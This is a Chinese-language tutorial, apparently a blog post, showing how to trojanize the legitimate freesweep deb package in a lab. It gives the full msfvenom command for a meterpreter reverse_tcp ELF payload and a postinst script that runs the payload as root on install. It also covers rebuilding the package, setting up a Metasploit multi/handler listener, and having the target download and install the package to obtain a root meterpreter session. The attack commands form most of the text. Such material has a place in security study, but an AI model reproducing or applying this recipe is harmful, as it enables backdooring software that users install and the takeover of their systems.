Metasploit 内网渗透四 —Metasploit 渗透测试之利用木马、病毒实施渗透2 —制作恶意 deb 软件包来触发后门

 目录

制作恶意 deb 软件包来触发后门        

总结:

(1)freesweep软件包的下载解压并不安装

(2)msfvenonom生成恶意代码到软件包源文件

(3)创建并编辑软件包的信息文件,给脚本文件添加执行权限,构建新的 deb 安装包

(4)目标机下载带木马的deb软件=》生成 MSF 监听


Metasploitable2-linux:靶机 192.168.234.8

kali-debian:攻击机 192.168.234.141

win7 虚拟机:靶机 192.168.234.158

制作恶意 deb 软件包来触发后门 --deb是linux的可执行软件

在此声明文章仅供相互学习参考,严禁利用于违法犯忌,任何事故自行承担!!

制作恶意 deb 软件包来触发后门        

        ----deb是linux的可执行软件

        -----利用合法的deb软件里植入后门,后门程序把靶机上的shell返回给攻击者

总结:

(1)软件包的各种配置

      • freesweep软件包的下载解压并不安装
      • msfvenonom生成恶意代码到软件包源文件
      • 创建并编辑软件包的信息文件,给脚本文件添加执行权限,构建新的 deb 安装包

(2)目标机下载带木马的deb软件=》生成 MSF 监听

               ——利用exploit/multi/handler模块,设置payloads为linux/x64/meterpreter/reverse_tcp,生成 并开启MSF 监听

                ——靶机wget命令下载带木马的deb软件,dpkg解压安装,即可得到meterpreter命令行

(1)freesweep软件包的下载解压并不安装

root@zwzj:~# apt --download-only install freesweep

                        ——制作恶意软件包使用--download-only 方式下载软件包不进行安装freesweep

root@zwzj:~# mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb ~/

                        -----将软件包移动到 root 目录

root@zwzj:~# dpkg -x freesweep_1.0.2-1_amd64.deb free

                        -------解压软件包到 free 目录

安装:dpkg -i

解压:dpkg -x

(2)msfvenonom生成恶意代码到软件包源文件

root@zwzj:~ # msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.234.141 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.234.141 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources

                                ——----msfvenonom用于生成恶意代码到软件包源文件中

拓展:生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。

root@zwzj:~# mkdir free/DEBIAN && cd free/DEBIAN ——创建软件包信息目录

(3)创建并编辑软件包的信息文件,给脚本文件添加执行权限,构建新的 deb 安装包

root@zwzj:~# vim /root/free/DEBIAN/control 或

tee /root/free/DEBIAN/control <<'EOF'         ——创建并编辑软件包的信息文件

                Package: freesweep

                Version: 1.0.2-1

                Section: Games and Amusement

                Priority: optional

                Architecture:amd64

                Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)

                Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.

EOF         ---使用vim 可不要EOF命令

root@zwzj:~# tee /root/free/DEBIAN/postinst

                        ——创建 deb 软件包,安装后触发脚本文--》来加载后门

                        ---“EOF”字符串可换成其他字符,EOF标识重定向输出在postinst文件里

                        ---用vim可不要EOF

tee /root/free/DEBIAN/postinst

                #!/bin/bash

                sudo chmod 2755 /usr/games/freesweep_sources

                sudo /usr/games/freesweep_sources &

EOF         ---用vim可不要EOF

                红色部分是我们要执行的恶意代码

                & 是将命令放到后台运行

root@zwzj:~/free/DEBIAN# chmod 755 /root/free/DEBIAN/postinst  ——给脚本文件添加执行权限

root@zwzj:~/free/DEBIAN# dpkg-deb --build /root/free/         ——构建新的 deb 安装包

注:会在当前目录下生成构建的软件包 freesweep.db ,我的当前的目录是/root

root@zwzj:~/free/DEBIAN# ls /root/free.deb

(4)目标机下载带木马的deb软件=》生成 MSF 监听

root@zwzj:~# msfconsole         ——新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp

                ----如果想设置成linux/x64/shell/reverse_tcp,那么msfvenonom生成的路径也需要是linux/x64/shell/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 192.168.234.141

msf6 exploit(multi/handler) > set LPORT 4444

msf6 exploit(multi/handler) > exploit

root@zwzj:wget http://192.168.234.141/free.deb         ——目标机下载并安装带木马的deb软件

root@zwzj:~/free/DEBIAN# cd                 ——转换到根目录

root@zwzj:~# dpkg -i free.deb                 --目标机安装软件 ---我们就在kali本机中安装

                ——最好是在 Kali 中执行,在 XSHELL 中执行可能会导致窗口卡死。

meterpreter > getuid         ———uid=0 :表示 root 权限

root@zwzj:~# dpkg -r freesweep --卸载软件包

———发现就算恶意软件包被卸载,payload 依旧正常运行。

exit 或者 quit 退出 msf攻击

  • 14
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值